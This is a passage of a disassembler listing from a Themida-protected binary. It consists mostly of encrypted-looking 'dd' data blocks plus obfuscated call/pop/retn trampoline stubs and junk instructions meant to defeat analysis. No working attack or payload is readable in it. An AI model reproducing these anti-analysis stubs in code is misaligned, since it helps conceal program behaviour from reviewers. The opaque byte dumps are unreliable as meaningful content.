		dd 0AE234230h, 0CE7E816Dh, 2227665Ch, 0C6276674h, 0AD234230h
		dd 0DAF48165h, 8FA8EEF4h, 1AD94CD9h, 985A0A58h,	25D3FD8Dh
		dd 97A2444Bh, 0A665714h, 0BE232827h, 742341D8h,	0F97D6230h
		dd 3957CB6Eh, 0AA67C334h, 47235534h, 60750430h,	0A64C8CCCh
		dd 68DCFD3Fh, 0C1DCC4C2h, 3DD962A5h, 0F571425Ah, 8E234233h
		dd 1DE01810h, 0A70716B9h, 0D50706B1h, 0E823422Dh, 0CDE01072h
		dd 48E7A6C2h, 2A952F62h, 81D1C9C5h, 472370BDh, 0B0CA2230h
		dd 58234230h, 444E065h,	0E91AB594h, 3E23B0EDh, 2788A8F5h
		dd 9DCAE885h, 22234230h, 2A406987h, 1B253060h, 0A69ED74Ah
		dd 893B12FFh, 0B7427DBCh, 0E0809FB5h, 0DB232837h, 472341D8h
		dd 607E6230h, 0F54FCB6Dh, 0CC67C334h, 74235534h, 0F9760730h
		dd 0A92AB332h, 89C2D7B9h, 0CA0045CAh, 0A4D94D51h, 0D14992CFh
		dd 0E820AA60h
		dd 2C034230h, 7EAA1AF3h, 59A24614h, 8E374614h, 17634230h
		dd 0B0CAACF3h, 4F234230h, 2CF0D94Bh, 37355183h,	14E3408Eh
		dd 7E0AA9D8h, 87CA6F37h, 0E6234230h, 0CF213024h, 0F635D7h
		dd 0DC92C7B9h, 339C45CAh, 0C5400849h, 0EC9C4DE0h, 8372C7B9h
		dd 0C22245CAh, 0A4D9625Dh, 0B7FBCE56h, 0E487A3B1h, 74494614h
		dd 3A20AA62h, 47034230h, 0DAAA18F3h, 3A24614h, 0A33E4614h
		dd 83614230h, 6DA7DCF3h, 6090D5B1h, 3027A804h, 37A74DF0h
		dd 0E8234233h, 81A3B88Fh, 592527B5h, 50450D37h,	6963F1EAh
		dd 0FD9572D7h, 3A27AA20h, 71E74230h, 0DC73FDB0h, 47A24D50h
		dd 18234230h, 0C990E1C1h, 0B2124D51h, 30A81268h, 3AA84614h
		dd 912C1060h, 8E234230h, 1F79733Fh, 0A70706B9h,	0D1234AD9h
		dd 14E12D30h, 1F2C575Fh, 32CB1AB0h, 6D234230h, 0B6C125E8h
		dd 0CE0D343Bh, 5936F3B5h, 64DC1837h, 0EFD962A5h, 9C72425Ah
		dd 3A234233h, 44E01B10h, 8A070EB9h, 430706B1h, 0A323422Ah
		dd 0D2E01371h, 473A2627h, 0F5455510h, 8863D8DFh, 0C0A6CFF6h
		dd 0A724BF93h, 0BD329785h, 0C9F3BD37h, 0D2CB1030h, 0C8234230h
		dd 0FD79816Ah, 0BB276664h, 1276674h, 0CC234230h, 82898162h
		dd 6C079780h, 80828C66h, 3AF8D98Fh, 0B4A01D3Dh,	6D232814h
		dd 1D2341D8h, 4D7C6230h, 635FCB6Fh, 8767C334h, 0D1235B34h
		dd 2B740530h, 8C85AC40h, 87081DE8h, 1AD96745h, 92CAC7B9h
		dd 0FAA845CAh, 0A4D9490Dh, 0DC72C7BBh, 6B2C45CAh, 74234238h
		dd 0BFBECB62h, 4324B825h, 8E2ECF3Fh, 4C434230h,	593E678Dh
		dd 0AD8BF937h, 63424C38h, 8E17F3ADh, 0BFB64337h, 5E24B835h
		dd 6676425Ah, 47234233h, 0FEE01F10h, 0D5072EB9h, 0EC0706B1h
		dd 74234229h, 87E01775h, 47110F1Ah, 79A22429h, 5CA8F4D3h
		dd 4B73425Ah, 0D1234233h, 0B0E01A10h, 700706B9h, 3E0706B1h
		dd 1D23422Bh, 53E01270h, 49BA71F0h, 0C55D68E4h,	0EC2593B1h
		dd 0E3CB59BBh, 0CC234230h, 252A68A1h, 520BDC9h,	5452706h
		dd 5CA818CBh, 90DDC956h, 98BECBE8h, 6124B825h, 8E36A3ADh
		dd 3FAE7337h, 0DB24B832h, 742527B5h, 0D2080537h, 0A4D94269h
		dd 0C35D2358h, 0B8711254h, 7B422262h, 0DD9A2401h, 127B1894h
		dd 8AAE4D01h, 21234230h, 0F949EE8Fh, 0F527C368h, 0BBEF1D78h
		dd 9C76425Ah, 3A234233h, 40E01F10h, 8A072EB9h, 430706B1h
		dd 0A3234226h, 0BDE01775h, 5DDC0F49h, 73D962A5h, 0E22CF19h
		dd 98AE45CAh, 89DEE1EDh, 0AF72425Ah, 0A3234233h, 88E01B10h
		dd 0EC070EB9h, 700706B1h, 3A23422Bh, 3EE01371h,	89D5A624h
		dd 0B87F7736h, 0AA673E0h, 5824B812h, 12094BB5h,	26232837h
		dd 3A2341D8h, 0DE796230h, 0AA77CB6Ah, 6367C334h, 0A3235B34h
		dd 12710030h, 2442857Ah, 1243AEDAh, 1199AB1h, 91EDF3Bh
		dd 0CE4245CAh, 6BAEC7B9h, 28DF45CAh, 80232830h,	0E82341D8h
		dd 0B77A6230h, 1E6FCB69h, 3967C334h, 8E235934h,	84720330h
		dd 0C29C0DB1h, 0B6055764h, 8223C9C9h, 77CB1330h, 1A234230h
		dd 947A8169h, 0F27667Ch, 53276674h, 0E2234230h,	5A168161h
		dd 0E8A84DC9h, 0FD234230h, 0C007F7B5h, 4A232837h, 8E2341D8h
		dd 847C6230h, 875FCB6Fh, 0F567C334h, 0E8235E34h, 0B7740530h
		dd 0C0E7EE30h, 0A9D8398Eh, 1F9EC962h, 0AE24B81Fh, 0A323434Eh
		dd 3971425Ah, 0E8234233h, 2EE01810h, 3E0716B9h,	190706B1h
		dd 8E234226h, 36E01072h, 28451FFFh, 61A6CFC7h, 6124BFDBh
		dd 8E09E7BDh, 0B72CD237h, 1D234234h, 0D7422262h, 0D7F3C960h
		dd 4B73425Ah, 0D1234233h, 0B0E01A10h, 700706B9h, 3E0706B1h
		dd 1D234228h, 0F7E01270h, 7DC5A98Fh, 0A320C53Fh, 662C4230h
		dd 0D6F9C3E2h, 8B4BA3B2h, 0C00B5BA5h, 4E232837h, 8E2341D8h
		dd 84786230h, 877FCB6Bh, 0F567C334h, 0E8235A34h, 0B7700130h
		dd 0ACE68AD4h, 70AEC953h, 324B836h, 0BAC8F4ADh,	0F3232837h
		dd 0D12341D8h, 2B7B6230h, 5067CB68h, 1E67C334h,	1D235F34h
		dd 4D730230h, 26046E5Ah, 0E9CBF59Ch, 6873E0CEh,	0CBF45EA5h
		dd 1E075EB9h, 39CB1130h, 3D234230h, 778816Bh, 0C627666Ch
		dd 0BF276674h, 92234230h, 592B8163h, 9364FC9Eh,	68772098h
		dd 8674FD56h, 3745D269h, 0AE73B2ABh, 0A3234237h, 0F41124B1h
		dd 78C285FAh, 74234DD8h, 63E5BF30h, 150CAA72h, 4DEBE04Ch
		dd 39E19309h, 0A35ED719h, 2E7D45CAh, 120B77A5h,	27232837h
		dd 3A2341D8h, 0DE786230h, 0AA7FCB6Bh, 6367C334h, 0A3235434h
		dd 12700130h, 0E77C0E5Eh, 742344B4h, 0BBBE6B30h, 9424B837h
		dd 743FABB5h, 17232837h, 0A32341D8h, 127B6230h,	0CC67CB68h
		dd 5067C334h, 3A235F34h, 0DE730230h, 6881228h, 1B2FB4EBh
		dd 26E5E2C3h, 0D6D94455h, 0B9232863h, 742341D8h, 0F97A6230h
		dd 396FCB69h, 0AA67C334h, 47235534h, 60720330h,	697833F6h
		dd 807ABE66h, 43647E5Dh, 280746B1h, 7B500278h, 711C098Ah
		dd 0BD03D785h, 0BAA44D37h, 38234230h, 0E8234224h, 0D3FC53D9h
		dd 155A2CDBh, 83CB0963h, 0BD38531Dh, 0C6477D3Ah, 0BE26D7BBh
		dd 54AE45CAh, 0EFDEE1EDh, 9C74425Ah, 3A234233h,	42E01D10h
		dd 8A073EB9h, 430706B1h, 0A3234228h, 2AE01577h,	0FDB64055h
		dd 0A4A892CFh, 26B6C7B9h, 1D4945CAh, 8E20AA66h,	19034230h
		dd 0D7AA1CF3h, 95A24614h, 0E8384614h, 22654230h, 0BB696FF3h
		dd 0B06BA7DEh, 0EBA684CDh, 24B836h, 0CBED84B0h,	2AEACB7h
		dd 69D9C956h, 8F346604h, 3A4930CFh, 1D20AA65h, 0D3034230h
		dd 2BAA1FF3h, 0E7A24614h, 0D13B4614h, 0BD664230h, 27ED2F3h
		dd 2ACAF388h, 60234230h, 8125331Bh, 3B2F54E2h, 0F53E0976h
		dd 5862657Ch, 120DF3B5h, 0E196BD37h, 5024B810h,	1ECB1330h
		dd 0AE234230h, 0CE7A8169h, 2227667Ch, 0CA276674h, 0A9234230h
		dd 0E0018161h, 6F61A47h, 80AA56A6h, 89D9662Dh, 0E4FEC7BDh
		dd 4A4345CDh, 0D123423Ah, 0E353AE03h, 540CB29Eh, 0B3430AA7h
		dd 0E710B3A5h, 0EF42BB37h, 0F84392CFh, 0E831F92Fh, 0D12349D9h
		dd 15799C30h, 7294E876h, 8B472D55h, 0FCA6CB51h,	0E424B828h
		dd 44CB1730h, 83234230h, 587E816Dh, 6927665Ch, 69276674h
		dd 7F234230h, 15488165h, 0B8A0B478h, 4C0DB79Eh,	822ACF39h
		dd 54E545CAh, 0EFD94455h, 77A74D63h, 5C234230h,	194B8DBBh
		dd 0EE876341h, 17748ABBh, 22421C68h, 0FFB76604h, 0E8497F28h
		dd 7420AA62h, 60034230h, 49AA18F3h, 0CAA24614h,	47394614h
		dd 0F1614230h, 0ACB84FF3h, 0EBEE88BBh, 6B62FFBBh, 0ECA345CAh
		dd 8896BD33h, 8124B810h, 0C2AEB587h, 0A4DEE1EDh, 5600F856h
		dd 0EEDECFBBh, 0A4DC45CAh, 0D276425Ah, 1D234233h, 0D3E01F10h
		dd 43072EB9h, 0A70706B1h, 0D1234229h, 62E01775h, 71C9D5C2h
		dd 0B7A6CB96h, 9624B81Fh, 74099BBDh, 0DEA6CB37h, 0C924B827h
		dd 0D2CB1230h, 0C8234230h, 0FD7B8168h, 0BB276674h, 4276674h
		dd 0CE234230h, 0D9A88160h, 2091F45Eh, 0F89C9FB0h, 1211C7ADh
		dd 11A68437h, 6D24B836h, 3382C7B9h, 0E74B45CAh,	27F2EB6Bh
		dd 7832FD56h, 0D4CA1060h, 0CB234230h, 0E260ACC7h, 3DCB733Fh
		dd 0E6234230h, 0A556868Dh, 1D7BBE99h, 97A22368h, 7C2A2D14h
		dd 9964B71h, 8B24B832h,	0C003D785h, 0DAA22437h,	3A8FB78h
		dd 40D95CB5h, 0FEC7BDh,	0D14945CDh, 0E820AA65h,	29034230h
		dd 56AA1FF3h, 59A24614h, 8E374614h, 12664230h, 6CA868F3h
		dd 0D14992CFh, 0E820AA66h
		dd 2A034230h, 4EAA1CF3h, 59A24614h, 8E344614h, 11654230h
		dd 0A2384DF3h, 0AC9EC933h, 6124B83Eh, 8E0B37B5h, 2F96C937h
		dd 0DB24B83Bh, 742527B5h, 0C44B0137h, 0C5867E6Eh, 50E15389h
		dd 0C6886604h, 0F5455B9Ch, 0C50685DFh, 0E703D785h, 0DC232837h
		dd 472341D8h, 60796230h, 0F577CB6Ah, 0CC67C334h, 74235534h
		dd 0F9710030h, 0F693D9CAh, 2DFEC7BDh, 474945CDh, 0A320AA65h
		dd 8C034230h, 84AA1FF3h, 30A24614h, 3A3F4614h, 48664230h
		dd 0C2B834F3h, 0B86BC54Ah, 3E0AA6A8h, 0D6D96891h, 0E9BECB50h
		dd 0FD24B818h, 0C036138Dh, 0CDDC2337h, 6675425Ah, 47234233h
		dd 0FDE01C10h, 0D50736B9h, 0EC0706B1h, 74234225h, 0D3E01476h
		dd 0ECB6CB99h, 724B83Ah, 0BD011BB5h, 74A82437h,	3A85C7BDh
		dd 147145CDh, 0B196C96Eh, 6A24B82Dh, 1D2349D9h,	0CC230230h
		dd 0ED359A79h, 0DADE9D17h, 0B70746B9h, 0C2F6B5B1h, 5C3AD7CFh
		dd 3A4945CAh, 1D20AA61h, 0D7034230h, 0BAA1BF3h,	0E7A24614h
		dd 0D13E4614h, 0B9624230h, 0A9405DF3h, 4955C418h, 0F431F2DCh
		dd 8E23423Fh, 0EBB280B2h, 3CE621F7h, 0A21204E2h, 63E611A1h
		dd 242328E8h, 3A2341D8h, 0DE7B6230h, 0AA67CB68h, 6367C334h
		dd 0A3235534h, 12730230h, 0D51DE714h, 4E5985B1h, 0BFAE4F5Ch
		dd 1ADEA9AAh, 9796F856h, 0C62C14A0h, 0A3234235h, 0B62E998Ah
		dd 7873184Fh, 0E7D1C956h, 0B2C1060h, 47F0C956h,	67731268h
		dd 47234224h, 368101EAh, 0EA1DB985h, 2C3F1563h,	0BF79B6DAh
		dd 865325B6h, 0A22CD169h, 4FAECBCEh, 0B824B83Ah, 590B77A5h
		dd 0D133AB37h, 53864230h, 0C770D511h, 88228A40h, 14DD1144h
		dd 0BAA919Bh, 40D95295h, 5A9FB8Eh, 0C8A68551h, 0E724B837h
		dd 1E234230h, 39CB1030h, 3D234230h, 779816Ah, 0C6276664h
		dd 0BB276674h, 93234230h, 398E8162h, 47ED455Eh,	0C0167F85h
		dd 0B8B6BD37h, 0E424B820h, 44CB1130h, 83234230h, 5878816Bh
		dd 6927666Ch, 6F276674h, 79234230h, 0C6848163h,	0E4739387h
		dd 0C6453989h, 2A64C5D7h, 2B007BB5h, 0BE232837h, 742341D8h
		dd 0F97D6230h, 3957CB6Eh, 0AA67C334h, 47235634h, 60750430h
		dd 2A824BAh, 0F896C7BBh, 0E9AE45CAh, 3DDEBFC1h,	902201B9h
		dd 7426D38Dh, 8C96CF37h, 1A24BFCDh, 0D1234203h,	0DBC8E6C3h
		dd 74234288h, 4EE34930h, 1D3B8033h, 820706BBh, 4723AA63h
		dd 22784230h, 0D12355F3h, 0CC7FCB30h, 5067CB20h, 0D9B1924h
		dd 0E223F3CAh, 0AA67C9D0h, 2DC3BD34h, 0A0CB1730h, 0F1234230h
		dd 617E816Dh, 0F527665Ch, 26276674h, 58234230h,	0D6CD8165h
		dd 24817BE2h, 2847DF86h, 2B38BB8Dh, 0E824AB37h,	0F9F04230h
		dd 3CEA2BE9h, 1D492327h, 8E20AA60h, 1F034230h, 0E7AA1AF3h
		dd 95A24614h, 0E83E4614h, 24634230h, 1923A5F3h,	255BFA07h
		dd 0A5949D51h, 0BD0BABA5h, 0A7D1C337h, 5C23D043h, 15C8D88Dh
		dd 0F6AECF37h, 8224BFCEh, 8505E905h, 98DEC703h,	880845CAh
		dd 5021ABF1h, 0D8842328h, 30E82341h, 6DB77E62h,	341E4FCBh
		dd 343967C3h, 838E2358h, 0A4F305E9h, 0B529D98Bh, 7FA0DC1h
		dd 0BE8h, 7E5D0800h, 0D1FE6B1Dh, 0A46F25D9h, 0E95FEA8Ah
		dd 42h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh
		dd 41C35040h, 5774965Ch, 0E9A49F87h, 10h, 0C2F452C3h, 67242D03h
		dd 0B134B14Eh, 717BDC22h, 1890F61h, 0FC000000h,	0C08BF5C3h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 8DC35141h
		dd 9061E3B5h, 0E92514A2h, 7, 8945F780h,	8393B992h, 0FA2ACDBDh
		dd 9750007h, 1899BD83h,	740007FAh, 8B535019h, 4B9B8C0h
		dd 85890000h, 7FA1581h,	0E28B9D8Dh, 0D3FF07FCh,	0BD83585Bh
		dd 7FA1899h, 50177400h,	4B9B853h, 85890000h, 7FA1581h
		dd 0DF2C9D8Dh, 0D3FF07FCh, 0FFC585Bh, 1A87h, 148B0F00h
		dd 0E9000000h, 0Fh, 0D371CE26h,	735D3FAh, 1D021DDFh, 8B5DB707h
		dd 8B40F8C0h, 51006AC1h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 8B4DBF8Bh, 0FA1D19BDh, 0E8F38B07h
		dd 0Fh,	843FEA11h, 757118D4h, 19FC3456h, 0FA27B97h, 0EB5EFFBFh
		dd 4, 71858900h, 6A07FA2Fh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 9630C356h, 99858DE0h
		dd 0F07FA01h, 0E850F8B7h, 0Dh, 0AFA9BCFDh, 9A8F470h, 935B822Dh
		dd 12E96Ch, 0B50B0000h,	1612BD91h, 866674Ch, 0BCFE3CFDh
		dd 705EDA20h, 2404895Eh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 3C35747h, 295B701Ch, 89F2E6B3h, 0FA1C91BDh
		dd 69BD8B07h, 6A07FA15h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 0B9595F01h, 204D80C8h
		dd 6A7EC5h, 0C69DCF81h,	858D6610h, 7FE0192h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 74C35747h, 0A37636BBh
		dd 2F099D89h, 0C08307FAh, 6050FC05h, 61C28B66h,	8B240489h
		dd 0FA2399BDh, 0F006A07h, 389h,	0F38B6600h, 0EE9006Ah
		dd 0DF000000h, 5DFCD87Fh, 0FF8DD14Ah, 4E14DD77h, 0E995FF00h
		dd 6007FA2Bh, 11958960h, 0F07FA2Ah, 83h, 85016100h, 7FA338Dh
		dd 119D8D61h, 6A07FDD7h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 897CC350h, 0FA266DBDh
		dd 6AD3FF07h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 0E2D1C350h, 2F79BD09h,	85FF07FAh
		dd 7FA1049h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	0E0C35545h, 0DCD8426h, 0E9F0B70Fh, 799h, 0E8h
		dd 0ED815D00h, 7FE019Ch, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 1BC35343h, 0C77D3FD9h, 661C15EAh, 0B2C5CE81h
		dd 719BD81h, 7D007FAh, 860F0000h, 1A5h,	0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 16h, 0BBC35343h, 9D8BE62Ch
		dd 7FA1E89h, 24DDBD8Bh,	0E38107FAh, 100h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Ah, 2EC35343h, 2B41B8A6h
		dd 0BF90E85h, 0D7850FDBh, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0EC7BC352h
		dd 207D9529h, 0BD8307FAh, 7FDFFE4h, 45840F00h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 0DA6BC350h, 89EF6937h, 0C0E9F78Bh, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 95F8C350h, 0FFE485C7h, 107FDh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 55F9DC3h, 1DFC1899h,	9B53151h, 0E907FA15h, 6Bh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 59C35343h, 7DE0DB62h
		dd 2EC73172h, 0E49B533h, 85C707FAh, 7FDFFE4h, 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5C3763
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C3763	proc near		; CODE XREF: Themida_:005C375Bp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5C3763	endp

; ---------------------------------------------------------------------------
		db 2Bh
		dd 0BE8B1h, 0C1FB0000h,	0DF687BD5h, 155A86B4h, 3830FCCh
		dd 0F000000h, 8D5FF9BFh, 0FA1E899Dh, 4DBD8B07h,	8107FA31h
		dd 0FFFEFF23h, 51006AFFh, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 67E4B3E7h, 0DB8C668Eh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0F6C35040h
		dd 381EEBF7h, 0CE950h, 0D1D50000h, 0C10DC266h, 5CA0CCF7h
		dd 8B5FD3C7h, 0FA2485BDh, 9E907h, 9EA50000h, 0F021AAC0h
		dd 0F60E3458h, 840F04C3h, 90h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 86C35141h, 0C3B808BBh, 0A595FF29h
		dd 6A07FA10h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 66F4C356h, 0C02CE681h,	24048950h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 1AC35040h
		dd 3D7AA206h, 8459307Bh, 2850F60h, 0B3000000h, 5E87Ch
		dd 9EC50000h, 0F8426E0h, 86h, 0BE615A00h, 28078A1Fh, 375E9h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 0A3AB398Dh, 4890Fh, 0BE660000h, 0B01849h
		dd 95C68166h, 8170E69Ch, 0B36B7AC6h, 5771E43Bh,	0D8B60F5Eh
		dd 2D19B589h, 6BA07FAh,	6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0DA05C351h
		dd 89C38B01h, 0FA1689BDh, 0C1F08B07h, 6A04E8h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 664CD8C3h, 6AE2F7h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 0BE1E79C3h, 2B896D37h, 0F9B70FD8h
		dd 3800Fh, 0B70F0000h, 12E893F0h, 6D000000h, 0E4EA94D7h
		dd 0BFCFE7Ch, 3A4243BAh, 0FCD598C6h, 0BE8A8h, 56070000h
		dd 7D8966D6h, 0AD724121h, 5EF98BAFh, 6093505Eh,	31318D8Bh
		dd 9D8907FAh, 7FA2939h,	19B5FF61h, 8107FA07h, 0D511D7F7h
		dd 1995FF3Ah, 6A07FA10h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 99AC352h, 0FA2B2D95h
		dd 6A00B007h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 803FC357h, 50178F5Ah, 0BE70E6F0h
		dd 36AF8C91h, 0B037D681h, 71E42272h, 7E9h, 2D3CFA00h, 968C1E17h
		dd 830F613Ch, 1FAh, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 0A4C35040h, 2088AA21h, 0F3AE8CB6h, 117D8589h
		dd 0B60F07FAh, 0AD9D89D8h, 0BA07FA17h, 6, 1F899589h, 0B52907FAh
		dd 7FA0849h, 6AC38Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 8BF860C3h, 0FA2C75BDh, 958B6007h
		dd 7FA2F81h, 20759533h,	0C16107FAh, 5F5304E8h, 66E2F766h
		dd 5F23CE81h, 0F78BD82Bh, 9E8h,	2DF33700h, 152BF154h, 5EFC8BF3h
		dd 53006A58h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 0E90973A9h, 0Fh,	0FC5AA7E8h, 54F633C7h
		dd 0AAA21600h, 2BB7498Bh, 27880FD8h, 6A000001h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 8147C357h, 19DF63C1h, 57D95120h, 7B95Fh, 0C1830000h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0C99D2949h, 0F07FA0Bh, 0D93BF7B7h, 0CC860Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 61D49BC3h, 181D6DE3h, 13E99240h, 0D8000000h
		dd 0C741BCD5h, 0E76F3Eh, 78B83723h, 0B7DF6138h,	8C66BD25h
		dd 4C1F6D9h, 80840Fh, 8B500000h, 0FA2A25B5h, 95FF5E07h
		dd 7FA10A5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	48C35747h, 0C3CCB28h, 190EE781h, 6A5B26A4h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 0FD19C351h, 8803EF43h, 2B55E083h, 69BD8BC3h,	0FC07FA14h
		dd 8343Dh, 13860F00h, 52000000h, 0B89BD2Bh, 895E07FAh
		dd 0FA166585h, 4E907h, 0C08B0000h, 0C38BF88Bh, 0B70FD88Bh
		dd 68E4BFFFh, 85C72A22h, 7FA185Dh, 1A7C29D9h, 0EA10EE81h
		dd 8B66616Bh, 6AC08BF0h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 9021C350h, 89A73BE2h
		dd 0FA1795BDh, 19BD8107h, 0D007FA07h, 0F000007h, 5485h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 0FA9E3FA4h, 96369BF0h, 1985FF9Eh, 6A07FA07h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 0D5D8C351h, 3EC741BCh, 8900E76Fh,	0FA2405BDh
		dd 19B5FF07h, 6A07FA07h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 76E8C355h, 14F44C5Dh
		dd 0FFAF62BEh, 1995FF36h, 6A07FA10h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 59E3C355h
		dd 0B890D305h, 12345678h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 0B1C35545h, 6830F37h,	89000000h, 0FA01F195h
		dd 0DA9D8D07h, 0E907FE08h, 0FFFFF884h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 5AC35040h, 66C18B5Ch, 4EBF08Bh
		dd 0
		dd 14418D01h, 8D8907FAh, 7FA0A9Dh, 199858Dh, 0F68107FAh
		dd 3ED28DCCh, 60525090h, 8C0Fh,	0BB660000h, 0F61DA4Eh
		dd 8E831h, 66C0000h, 0AF66549Ch, 870F75B7h, 0
; ---------------------------------------------------------------------------
		pop	edi
		pop	edx
		pop	eax
		push	eax
		mov	esi, 450F6C7Bh
		nop
		push	0
		push	edx
		call	sub_5C3DCD
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C3DCD	proc near		; CODE XREF: Themida_:005C3DC5p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5C3DCD	endp

; ---------------------------------------------------------------------------
		and	al, 0B8h
		pop	edi
		mov	dh, 31h
		mov	esi, edx
		push	0
		push	0
		push	ebx
		call	sub_5C3DF1
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C3DF1	proc near		; CODE XREF: Themida_:005C3DE9p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5C3DF1	endp

; ---------------------------------------------------------------------------
		cmp	esi, esp
		sub	esi, [ebp+7FA2701h]
		push	0
		push	0
		push	edx
		call	sub_5C3E16
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C3E16	proc near		; CODE XREF: Themida_:005C3E0Ep

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5C3E16	endp

; ---------------------------------------------------------------------------
		mov	ds:9C2CAFEh, al
		movzx	edi, dx
		lea	eax, [ebp+7FE0A95h]
		add	[ebp+7FA1871h],	edi
		add	eax, 5
		mov	[ebp+7FA315Dh],	ecx
		push	eax
		mov	[esp], eax
		mov	di, dx
		ja	loc_5C3E5D
		pusha
		mov	edx, 413BE7F1h
		xor	ecx, 1951772Ah
		popa


loc_5C3E5D:				; CODE XREF: Themida_:005C3E4Aj
		push	0
		jmp	loc_5C3E76
; ---------------------------------------------------------------------------
		dd 0E852CFE0h, 4FF08E1Fh, 6BA8B6B4h, 0E887DA5Bh
		db 0FAh, 1Ah
; ---------------------------------------------------------------------------


loc_5C3E76:				; CODE XREF: Themida_:005C3E5Fj
		push	0
		jl	loc_5C3E82
		mov	di, 0A569h


loc_5C3E82:				; CODE XREF: Themida_:005C3E78j
		call	dword ptr [ebp+7FA2BE9h]
		mov	esi, 4E5C33A8h
		lea	ebx, [ebp+7FDD711h]
		call	sub_5C3EA1
		lodsd
		and	[ecx+68h], edx
		inc	ebp
		test	[edx], bl
		movsb
		xchg	eax, ebp

; =============== S U B	R O U T	I N E =======================================



sub_5C3EA1	proc near		; CODE XREF: Themida_:005C3E93p
		pusha
		or	esi, [ebp+7FA1E9Dh]
		jo	$+6
		popa
		pop	esi
		call	ebx	; _iob
		inc	dword ptr [ebp+7FA1049h]
		push	0
		push	edi
		call	sub_5C3EC3
		and	[edi-3Dh], bl
sub_5C3EA1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5C3EC3	proc near		; CODE XREF: sub_5C3EA1+1Ap

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5C3EC3	endp

; ---------------------------------------------------------------------------
		db 38h
; ---------------------------------------------------------------------------
		mov	esi, eax
		jmp	loc_5C4D60
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5C47E5


loc_5C3EDB:				; CODE XREF: sub_5C47E5+56Dj
		call	$+5
		pop	ebp
